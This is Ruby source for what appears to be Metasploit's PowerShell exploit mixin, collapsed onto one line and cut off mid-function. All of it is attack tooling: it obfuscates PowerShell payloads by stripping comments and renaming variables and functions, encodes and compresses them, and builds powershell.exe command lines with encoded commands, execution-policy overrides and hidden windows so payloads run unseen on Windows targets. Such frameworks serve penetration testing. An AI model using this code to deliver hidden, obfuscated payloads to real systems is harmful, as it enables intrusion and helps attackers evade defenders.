# -*- coding: binary -*- require 'rex/exploitation/powershell' module Msf module Exploit::Powershell PowershellScript = Rex::Exploitation::Powershell::Script def initialize(info = {}) super register_advanced_options( [ OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]), OptBool.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']), OptBool.new('Powershell::strip_comments', [false, 'Strip comments', true]), OptBool.new('Powershell::strip_whitespace', [false, 'Strip whitespace', false]), OptBool.new('Powershell::sub_vars', [false, 'Substitute variable names', false]), OptBool.new('Powershell::sub_funcs', [false, 'Substitute function names', false]), OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', [ 'net', 'reflection', 'old', 'msil' ]]), ], self.class) end # # Reads script into a PowershellScript # # @param script_path [String] Path to the Script File # # @return [PowershellScript] PowerShellScript object def read_script(script_path) return PowershellScript.new(script_path) end # # Insert substitutions into the powershell script # If script is a path to a file then read the file # otherwise treat it as the contents of a file # # @param script [String] Script file or path to script # @param subs [Array] Substitutions to insert # # @return [String] Modified script file def make_subs(script, subs) if ::File.file?(script) script = ::File.read(script) end subs.each do |set| script.gsub!(set[0],set[1]) end script end # # Return an array of substitutions for use in make_subs # # @param subs [String] A ; seperated list of substitutions # # @return [Array] An array of substitutions def process_subs(subs) return [] if subs.nil? or subs.empty? new_subs = [] subs.split(';').each do |set| new_subs << set.split(',', 2) end new_subs end # # Return an encoded powershell script # Will invoke PSH modifiers as enabled # # @param script_in [String] Script contents # @param eof [String] Marker to indicate the end of file appended to script # # @return [String] Encoded script def encode_script(script_in, eof = nil) # Build script object psh = PowershellScript.new(script_in) # Invoke enabled modifiers datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k| mod_method = k.split('::').last.intern psh.send(mod_method) end psh.encode_code end # # Return a gzip compressed powershell script # Will invoke PSH modifiers as enabled # # @param script_in [String] Script contents # @param eof [String] Marker to indicate the end of file appended to script # # @return [String] Compressed script with decompression stub def compress_script(script_in, eof = nil) # Build script object psh = PowershellScript.new(script_in) # Invoke enabled modifiers datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k| mod_method = k.split('::').last.intern psh.send(mod_method) end psh.compress_code(eof) end # # Generate a powershell command line, options are passed on to # generate_psh_args # # @param opts [Hash] The options to generate the command line # @option opts [String] :path Path to the powershell binary # @option opts [Boolean] :no_full_stop Whether powershell binary # should include .exe # # @return [String] Powershell command line with arguments def generate_psh_command_line(opts) if opts[:path] and (opts[:path][-1,1] != "\\") opts[:path] << "\\" end if opts[:no_full_stop] binary = "powershell" else binary = "powershell.exe" end args = generate_psh_args(opts) "#{opts[:path]}#{binary} #{args}" end # # Generate arguments for the powershell command # The format will be have no space at the start and have a space # afterwards e.g. "-Arg1 x -Arg -Arg x " # # @param opts [Hash] The options to generate the command line # @option opts [Boolean] :shorten Whether to shorten the powershell # arguments (v2.0 or greater) # @option opts [String] :encodedcommand Powershell script as an # encoded command (-EncodedCommand) # @option opts [String] :executionpolicy The execution policy # (-ExecutionPolicy) # @option opts [String] :inputformat The input format (-InputFormat) # @option opts [String] :file The path to a powershell file (-File) # @option opts [Boolean] :noexit Whether to exit powershell after # execution (-NoExit) # @option opts [Boolean] :nologo Whether to display the logo (-NoLogo) # @option opts [Boolean] :noninteractive Whether to load a non # interactive powershell (-NonInteractive) # @option opts [Boolean] :mta Whether to run as Multi-Threaded # Apartment (-Mta) # @option opts [String] :outputformat The output format # (-OutputFormat) # @option opts [Boolean] :sta Whether to run as Single-Threaded # Apartment (-Sta) # @option opts [Boolean] :noprofile Whether to use the current users # powershell profile (-NoProfile) # @option opts [String] :windowstyle The window style to use # (-WindowStyle) # # @return [String] Powershell command arguments def generate_psh_args(opts) return "" unless opts unless opts.has_key? :shorten opts[:shorten] = (datastore['Powershell::method'] != 'old') end arg_string = " " opts.each_pair do |arg, value| case arg when :encodedcommand arg_string << "-EncodedCommand #{value} " if value when :executionpolicy arg_string << "-ExecutionPolicy #{value} " if value when :inputformat arg_string << "-InputFormat #{value} " if value when :file arg_string << "-File #{value} " if value when :noexit arg_string << "-NoExit " if value when :nologo arg_string << "-NoLogo " if value when :noninteractive arg_string << "-NonInteractive " if value when :mta arg_string << "-Mta " if value when :outputformat arg_string << "-OutputFormat #{value} " if value when :sta arg_string << "-Sta " if value when :noprofile arg_string << "-NoProfile " if value when :windowstyle arg_string << "-WindowStyle #{value} " if value end end #Command must be last (unless from stdin - etc) if opts[:command] arg_string << "-Command #{opts[:command]}" end # Shorten arg if PSH 2.0+ if opts[:shorten] # Invoke-Command and Out-File require these options to have # an additional space before to prevent Powershell code being # mangled. arg_string.gsub!(' -Command ', ' -c ') arg_string.gsub!('-EncodedCommand ', '-e ') arg_string.gsub!('-ExecutionPolicy ', '-ep ') arg_string.gsub!(' -File ', ' -f ') arg_string.gsub!('-InputFormat ', '-i ') arg_string.gsub!('-NoExit ', '-noe ') arg_string.gsub!('-NoLogo ', '-nol ') arg_string.gsub!('-NoProfile ', '-nop ') arg_string.gsub!('-NonInteractive ', '-noni ') arg_string.gsub!('-OutputFormat ', '-o ') arg_string.gsub!('-Sta ', '-s ') arg_string.gsub!('-WindowStyle ', '-w ') end #Strip off first space character arg_string = arg_string[1..-1] #Remove final space character arg_string = arg_string[0..-2] if (arg_string[-1] == " ") arg_string end # # Wraps the powershell code to launch a hidden window and # detect the execution environment and spawn the appropriate # powershell executable for the payload architecture. # # @param ps_code [String] Powershell code # @param payload_arch [String] The payload architecture 'x86'/'x86_64' # @param encoded [Boolean] Indicates whether ps_code is encoded or not # # @return [String] Wrapped powershell code def run_hidden_psh(ps_code, payload_arch, encoded) arg_opts = { :noprofile => true, :windowstyle => 'hidden', } if encoded arg_opts[:encodedcommand] = ps_code else arg_opts[:command] = ps_code.gsub("'","''") end # Old technique fails if powershell exits.. arg_opts[:noexit] = true if datastore['PSH::method'] == 'old' ps_args = generate_psh_args(arg_opts) process_start_info = <